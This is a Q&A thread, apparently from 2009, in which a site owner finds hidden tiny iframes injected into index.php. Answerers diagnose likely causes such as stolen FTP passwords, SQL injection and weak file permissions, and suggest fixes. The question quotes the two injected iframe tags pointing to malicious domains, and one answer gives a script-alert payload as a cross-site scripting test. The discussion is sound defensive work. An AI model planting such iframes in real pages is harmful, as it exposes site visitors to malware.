6

Twice, I've found weird code the top of my index.php.

The first time, it was this:

<iframe src="http://ntwportal.com/" width="2" height="4"></iframe>

Then this:

<iframe src="http://gtwdnsglobe.org/" width="2" height="4"></iframe>

How is this happening? Do I have a security flaw?

No one who has FTP access (that I know of) would do this. I recently deployed a new site, and this is still happening.

5
  • SQL injection attack? Do you have any queries that accept user input but don't use parameters?
    – andrewWinn
    Nov 18, 2009 at 20:16
  • 1
    This is a software problem, people, not a hardware issue. It doesn't belong on serverfault. Nov 18, 2009 at 20:19
  • 11
    Stefan, Serverfault is not just for hardware
    – Ben James
    Nov 18, 2009 at 20:20
  • Similar thing happened to me a while back. All the html pages had a script at the very top of each page. Without having an ftp access to actually modify the files, how is it possible to do this via sql injection?
    – FALCONSEYE
    Nov 18, 2009 at 20:28
  • Hmm, there ought to be a way to mirror questions on serverfault and stackoverflow. This could be a vulnerability in the code, or it could be a system administration issue.
    – Jeff
    Nov 18, 2009 at 20:39

13 Answers 13

5

Probably a virus.

http://www.google.com/safebrowsing/diagnostic?site=http://ntwportal.com/&hl=en

Is the HTML also on your local computer? you might have a virus that inserted it. Otherwise, check the host's security, it might have been broken into.

4

Yes, you're hacked, by the usual Russian-sphere adult-webmaster suspects. Those sites are down at the moment but they are known infection vectors.

Is the iframe code in the .php file itself when you re-download it from the server, or is it only in its output?

In the former case, either the server itself is compromised (is it your server or a third party's?), or you've been lax in setting the permissions so that the webserver user can write to the files, or — more likely in this case I think — you or one of the other people with FTP access to your account has had their password stolen by a trojan they will have picked up by a similar infection on another site.

In the latter case, it could come from the database if you have an application-level compromise in your PHP scripts (SQL and script injection, which are extremely common in badly-written PHP), or, if there's no sign in the source or the database, it could again be a server-level compromise.

Nuke the site, ensure your own machine is clean(*), change passwords, and stop using FTP. There is no reason not to migrate to SFTP in this century.

(*: don't assume your machine is clean just because you have one anti-virus that says so. Today's anti-virus is almost useless at detecting and especially cleaning malware. If you've been hit by a sploit in the past, you're very probably still infected with something the AV didn't catch.)

3

If you're accepting any type of input on your pages, make sure that it it being escaped properly. Sounds like a case of script injection. If you're looking for more information, a search for SQL injection, script injection, or cross-site scripting should yield some results.

2
  • It could easily be user-input javascript. Nov 18, 2009 at 20:20
  • Easily? I'm not so sure. If an ordinary user can modify your source code by utilizing a script injection, the permissions are set wrongly on your files. The webserver shouldn't have write-access to the source code - only read access.
    – Mark Byers
    Nov 18, 2009 at 20:39
3

This is a well-known, widespread FTP spyware/bot/hack/thing. You or someone else that has the password to your FTP server has spyware on their computer that logged the password, and sent it to some evil people. Those evil people than ran a bot that connected to your FTP server, and appended an <iframe> at the bottom of every HTML/PHP-page. What you should do is get rid of the spyware, and then change the password to your FTP server.

2

When I type "http://ntwportal.com/" in Google, avast stops me from seeing the search results with a virus warning. It's possible that somehow your FTP has been compromised. You should reinstall everything and change all your passwords.

2

Change the password of your ftp users, someone might have guessed or stolen a password.

EDIT: Someone who had the same problem: http://www.google.com/support/forum/p/Webmasters/thread?tid=5bd2cec52e12aebf&hl=en

2

Looks very similar to this (which was migrated to Serverfault):

https://stackoverflow.com/questions/1668379/has-our-site-been-hacked-google-says-we-are-malware-help/1668413#1668413

This sort of thing affects sites where there is FTP access to the doc root and people connect from their infected Windows machine, or simply have a very weak password.

2

Yes, you have a security flaw. It could be many things.

  • It could be a flaw in the PHP scripts that allow web users access to your files.
  • It could be a SQL injection attack.
  • No one with FTP access that you know of would do this. But are you certain FTP access is restricted to those individuals? Could those individuals' accounts be compromised? Could their computers be compromised, and a script is making its way through their system and on to your FTP server?
  • Is the web server itself compromised?
  • Is the web server exposed to a network, with the web root writable by someone with a compromised computer?
  • Is your computer compromised, and a virus is inserting that line everytime you save the file before you upload it?
1

Looks like google has flagged gtwdnsglobe.org as potentially harmful and the other site looks like it's malicious as well. I'd say you've got a security exploit. What sort of software is running on the site?

1

Embedding an iframe that loads content from a malicious server is a pretty common sql injection attack.

Take a look at your access logs, you'll probably find some clues there. Also, take a look at the text fields in your database - similar attacks I've seen in the past will add the callout to basically every text field in your db that's big enough to hold it.

0

Yes your site was compromised. If you created your site yourself, you should have someone familiar with that area look it over. If it was downloaded software, update it to the newest version and maybe even contact the vendor.

0

do you have any fields where information can be entered? do you allow cross-site scripting?

if you were to paste something like this into your text fields, what is the result? does it run the script?

< script language='javascript' >alert('hi');< /script >

If scripts can run, then it is possible for malicious code to be run on your site.

0

Looks like you should change the password to something effective. It does look as though you are being hacked, probably from China, in this case.

You must log in to answer this question.